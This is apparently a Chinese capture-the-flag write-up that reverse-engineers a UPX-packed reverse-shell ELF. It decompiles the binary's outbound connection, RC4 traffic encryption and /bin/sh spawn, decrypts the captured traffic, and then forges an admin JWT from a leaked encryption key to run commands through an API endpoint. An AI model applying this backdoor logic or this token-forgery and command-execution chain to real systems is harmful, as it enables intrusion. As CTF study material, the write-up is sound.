2025 软创决赛
seijaku
第 11 个包里面可以提取出一个 elf
用die查看发现由upx壳
脱壳后逆向结果
v8 = 1;
do
{
v9 = sub_10093C1();
if ( v9 < 0 )
goto LABEL_61;
if ( v9 )
return 0LL;
v10 = (v8 & 1) == 0;
v8 = 0;
}
while ( !v10 );
while ( 1 )
{
v11 = sub_10093C1();
if ( v11 < 0 )
goto LABEL_61;
if ( !v11 )
break;
sub_1009709((unsigned int)v11, buf);
nano_sleep_();
}
memset(buf, 0, 48);
*(_QWORD *)rc4_key_2 = 0LL;
*(_QWORD *)&buf[1] = 0x100000002LL;
port_to_str(port, 6LL, "%d", 0x91DLL, v12, v13, (__m128)0LL, a2, a3, a4, v14, v15, a7, a8, v64);
while ( (int)sub_10052FC((struct sockaddr *)port, buf, (__int64 *)rc4_key_2) < 0 && *(_DWORD *)check_stack_() == -3 )
;
v16 = *(_QWORD *)rc4_key_2;
if ( *(_QWORD *)rc4_key_2 )
{
v17 = *(_QWORD *)rc4_key_2;
do
{
v18 = socket_(*(_DWORD *)(v17 + 4), *(_DWORD *)(v17 + 8), *(_DWORD *)(v17 + 12));
v19 = v18;
if ( v18 >= 0 )
{
if ( !(unsigned int)connect_(v18, *(struct sockaddr **)(v17 + 24), *(_DWORD *)(v17 + 16)) )
break;
close_(v19);
v19 = -1;
}
v17 = *(_QWORD *)(v17 + 40);
}
while ( v17 );
futex_func_(v16);
}
else
{
v19 = *(_DWORD *)check_stack_();
}
if ( v19 < 0 )
goto LABEL_61;
v82 = 1;
if ( (int)setsockopt_(v19, 1, 9, (char *)&v82) < 0 )
goto LABEL_61;
v81 = 1;
if ( (int)setsockopt_(v19, 6, 1, (char *)&v81) < 0 || (fcntl_(v19, 6LL, 1uLL) & 0x80000000) != 0LL )
goto LABEL_61;
qmemcpy(v85, "V6h9A_wyEE6YLFiAtxY4W601RkBQIsLn", sizeof(v85));
v86 = _byteswap_uint64(get_time());
idx = 0LL;
v21 = 0LL;
do
{
v21 ^= (unsigned __int64)*((unsigned __int8 *)v85 + idx) << 56;
v22 = 8;
do
{
v21 = (2 * v21) ^ (v21 >> 63) & 0x42F0E1EBA9EA3693LL;
--v22;
}
while ( v22 );
++idx;
}
while ( idx != 40 );
v76 = _byteswap_uint64(v21);
qmemcpy(key, "V6h9A_wyEE6YLFiAtxY4W601RkBQIsLn", sizeof(key));
for ( i = 0LL; i != 32; ++i )
*((_BYTE *)key + i) ^= xor_key[(i & 7) - 8];
if ( (sendto_(v19, &v76, 8uLL) & 0x8000000000000000LL) != 0LL )
goto LABEL_61;
mogai_RC4_(rc4_key_2, (char *)key);
mogai_RC4_((char *)port, (char *)key);
v26 = sub_10036EA((unsigned int *)&v72, *(__m128 *)"V6h9A_wyEE6YLFiAtxY4W601RkBQIsLn\n", a2, a3, a4, v24, v25, a7, a8);
if ( v26 < 0 )
goto LABEL_61;
if ( v26 )
{
v71 = v26;
v32 = v72;
if ( v19 > v72 )
v32 = v19;
v33 = 1LL << v19;
fd = v19;
v34 = (unsigned int)v19 >> 6;
v35 = v32 + 1;
v36 = port[0];
v37 = rc4_key_2[0];
v38 = rc4_key_2[1];
input_fd = v72;
v39 = 1LL << v72;
v40 = (unsigned __int64)v72 >> 6;
v41 = 0LL;
v70 = v35;
v74 = 1LL << v72;
v79 = 1LL << v19;
v75 = v34;
v73 = v40;
while ( 1 )
{
*(_OWORD *)&v84.fds_bits[14] = v41;
*(_OWORD *)&v84.fds_bits[12] = v41;
*(_OWORD *)&v84.fds_bits[10] = v41;
*(_OWORD *)&v84.fds_bits[8] = v41;
*(_OWORD *)&v84.fds_bits[6] = v41;
*(_OWORD *)&v84.fds_bits[4] = v41;
*(_OWORD *)&v84.fds_bits[2] = v41;
*(_OWORD *)v84.fds_bits = v41;
v84.fds_bits[v34] |= v33;
v84.fds_bits[v40] |= v39;
if ( (select_(v35, &v84) & 0x80000000) != 0LL )
goto LABEL_61;
if ( (v33 & v84.fds_bits[v75]) != 0 )
break;
LABEL_49:
if ( (v74 & v84.fds_bits[v73]) != 0 )
{
while ( 1 )
{
size = read_(input_fd, (char *)buf, 0x1000uLL);
if ( size < 0 )
break;
if ( !size )
goto LABEL_57;
v57 = size;
v58 = -size;
v59 = 1LL;
do
{
v60 = *((_BYTE *)&port[1] + (unsigned __int8)(v36 + 1));
*((_BYTE *)&port[1] + (unsigned __int8)(v36 + 1)) = *((_BYTE *)&port[1]
+ (unsigned __int8)(v60 + HIBYTE(v36)));
*((_BYTE *)&port[1] + (unsigned __int8)(v60 + HIBYTE(v36))) = v60;
*((_BYTE *)&port[128] + v59 + 1) ^= *((_BYTE *)&port[1]
+ (unsigned __int8)(*((_BYTE *)&port[1] + (unsigned __int8)(v36 + 1))
+ v60));
v61 = v58 + v59++ + 1;
v36 = __PAIR16__(v60 + HIBYTE(v36), v36 + 1);
}
while ( v61 != 1 );
if ( (sendto_(fd, buf, v57) & 0x8000000000000000LL) != 0LL )
break;
if ( v57 <= 0xFFF )
goto LABEL_56;
}
LABEL_61:
v63 = (_DWORD *)check_stack_();
exit_2_((*v63 == 0) + *v63);
}
LABEL_56:
v35 = v70;
v39 = v74;
v33 = v79;
v34 = v75;
v40 = v73;
v41 = 0LL;
}
while ( 1 )
{
v42 = sub_1007FD8(fd);
if ( v42 < 0 )
goto LABEL_61;
if ( !v42 )
break;
v43 = v42;
v44 = v42;
v45 = -v42;
v46 = 1LL;
do
{
v47 = rc4_key_2[++v37 + 2];
v38 += v47;
rc4_key_2[v37 + 2] = rc4_key_2[v38 + 2];
rc4_key_2[v38 + 2] = v47;
*((_BYTE *)&port[128] + v46 + 1) ^= rc4_key_2[(unsigned __int8)(rc4_key_2[v37 + 2] + v47) + 2];
v48 = v45 + v46++ + 1;
}
while ( v48 != 1 );
v49 = sub_100FCE0(buf, v44);
if ( v49
&& (v50 = v49, v80 = (char *)buf + v43, (v51 = sub_100FB20(v49, 0x74u, (char *)buf + v43 - (char *)v49)) != 0LL) )
{
v68 = v51;
v54 = ((__int64 (__fastcall *)(_DWORD, int, unsigned int, unsigned int, int, int, char))sub_1009F72)(
(_DWORD)v50,
116,
(unsigned int)xor_key,
(unsigned int)&v78,
v52,
v53,
v65);
v55 = v44;
if ( v54 == 2 )
{
if ( (int)ioctl_(input_fd, 21524u, (unsigned __int64)xor_key) < 0 )
goto LABEL_61;
v69 = (char *)v68 + 1;
memcpy_(v50, v69, v80 - v69);
v55 = &v50[v43] - v69;
}
}
else
{
v55 = v44;
}
if ( (write_(input_fd, (const char *)buf, v55) & 0x8000000000000000LL) != 0LL )
goto LABEL_61;
if ( v43 <= 0xFFF )
goto LABEL_49;
}
LABEL_57:
sub_1009768((unsigned int)-v71, buf);
sub_100916D(fd);
close_(input_fd);
return 0LL;
}
result = exe_binsh_(
*(__m128 *)"V6h9A_wyEE6YLFiAtxY4W601RkBQIsLn\n",
a2,
a3,
a4,
v30,
v31,
a7,
a8,
(__int64)&v72,
(__int64)key,
0LL,
v27,
v28,
v29,
v65);
if ( (result & 0x80000000) != 0LL )
goto LABEL_61;
return result;
}
发现程序通过设定好的密钥和时间戳进行拼接再加一堆算法得到了一个xor_key,然后用xor_key和密钥xor得到了后续用于RC4的key
发现
if ( (sendto_(v19, &v76, 8uLL) & 0x8000000000000000LL) != 0LL )
这里的key会直接被发出去,就是报文的头8个字节,不用爆破时间戳
通过该key算出RC4_key即可以解出流量包大部分内容。
第一段 http 通信里面有
GET /api/client/400e9653-1c75-4e3e-bf80-364fad230bee/binary?reverse_host=seijaku.local&upx=true HTTP/1.1
host: 10.110.0.6:8000
user-agent: Mozilla/5.0 (X11; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0
accept: */*
accept-language: en-US,de-DE;q=0.8,zh-TW;q=0.5,zh-CN;q=0.3
accept-encoding: gzip, deflate, br, zstd
referer: http://10.110.0.6:8000/scalar
authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjIsInN1YiI6InVzZXIi
LCJyb2xlIjoidXNlciIsImV4cCI6MTczMzIzNzQzMn0.XZQSkzjcIKPU99-NNE7Hr1mIZafSPpkW25wJbWsVjq4
主要是这个 10.110.0.6:8000
,是后面会用到的回连地址
密钥是 530673b302e65741
*4 和 V6h9A_wyEE6YLFiAtxY4W601RkBQIsLn
异或的结果,作为 rc4 的密钥
然后分别解后面的 tcp 的流,会得到一些明文信息
[8;56;188tbash
nano /tmp/test.s h
[200~#!/bin/bash
# Set the base URL for your API
BASE_URL="http://127.0.0.1:8000"
# Set your API endpoint for login
LOGIN_URL="$BASE_URL/api/session"
# Set your username and password
USERNAME="your_username"
PASSWORD="your_password"
# Execute the POST request to get the token
response=$(curl -s -X POST "$LOGIN_URL" \
--header 'Content-Type: application/json' \
--data "{
\"username\": \"$USERNAME\",
\"password\": \"$PASSWORD\"
}")
# Extract the token from the JSON response
TOKEN=$(echo $response | jq -r '.token')
# Check if TOKEN is empty
if [[ -z "$TOKEN" || "$TOKEN" == "null" ]]; then
echo "Failed to retrieve token. Please check your credentials."
exit 1
fi
# Set the file path you want to access
FILE_PATH="your_file_path" # replace with your actual file path
# Set the API endpoint for accessing the file
FILE_URL="$BASE_URL/api/host/files/$FILE_PATH"
# Use the token to access the file
curl -X GET "$FILE_URL" \
--header "Authorization: Bearer $TOKEN"
[201~OAOAOAOAOAOAOAOAOAOAOAOAOAOAOAOAOAOAOAOAOAO
AOAOAOAOAOAOAOAOAOAOAOAOAODODODODODODOD
seijaku.localOBOBOBOBOBOBODuserOBOBODOD
userOC
# my uyser name is user:user, pretty simple right?>OBOBOBOBOBOBOBOBOB
OBOBOBOBOBOBOBOBOBOBOBODOD
ODODODODODODODODODODODODODODODODODODODODODODOD
hint.pyOB
OA# this file might be helpful yfor you!y
比较有用的是其中的几个接口,$BASE_URL/api/session
, $BASE_URL/api/host/files/$FILE_PATH
, 和 hint.py
以及 user:user
访问前面提到的 10.110.0.6:8000
,有一个 openapi.json
同时通过 /apt/session
和账密 user:user
,能获取一个 jwt token
通过 /api/host/files/
接口可以拿到一文件列表
tmp/ - 4096 bytes
.env - 83 bytes
db.sqlite3 - 36864 bytes
hint.py - 3657 bytes
readflag - 7304 bytes
读到其中文件, .env
可以拿到 SJK_ENCRYPTION_KEY=a86ba5631f1a575d63d8a8d789ed3e68967998fde3d5e2ba035b4e34986715c8
通过 db.sqlite3
可以拿到加密后的 jwt token
通过 hint.py 和提供的虚拟库,可以对 jwt 进行解密
# exp.py
from sqlalchemy_utils import Password, PasswordType, StringEncryptedType
from sqlalchemy_utils.types.encrypted.encrypted_type import AesGcmEngine
import base64
import sqlalchemy as sa
value = b'pp8UBhPveEs2kuoXgDROebXRRYT+mB0Hb8gNMwtD+2NAv5GhaEMlW6CWpCnyW1496LV+Z2952EwbsHDDGFzd1/
e6PRkUtqHlOdGKPTXZINZOLI+PbfUckYikgsRjNJPQUdy3pS2Xf/bT5MAsg0piQIUhpCAdmjHpx+ujbnSNhQ=='
SJK_ENCRYPTION_KEY = bytes.fromhex('a86ba5631f1a575d63d8a8d789ed3e68967998fde3d5e2ba035b4e34986715c8')
aes = AesGcmEngine()
aes._update_key(SJK_ENCRYPTION_KEY)
dec = aes.decrypt(value)
print(dec)
拿到
b'\x90b\x0fJ\xd7\x90\x14\xbf\x9d\xd0Qp\xc3=j\xa4`\xab\t\x97\x9a\x0c\x99\xa2\xee\x10"\xe5\x8f\x8e^g'
此即为 admin 的 jwt token
然后给自己签一个合法的、admin 身份的 jwt 即可
{"uid":1,"sub":"admin","role":"admin","exp":1747688115}
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjEsInN1YiI6ImFkbWluIiwicm9sZSI6I
mFkbWluIiwiZXhwIjoxNzQ3Njg4MTE1LCJpYXQiOjE3NDc1NTM2MDl9.KTxDHHz_xeVb7i6fhn7YacqBxoVriqqCDDQnKrZdY_E
执行
http://10.110.0.6:8000/api/host/command
{"command": "./readflag"}
拿到
{"status":0,"stdout":"dart{xxx}\n","stderr":""}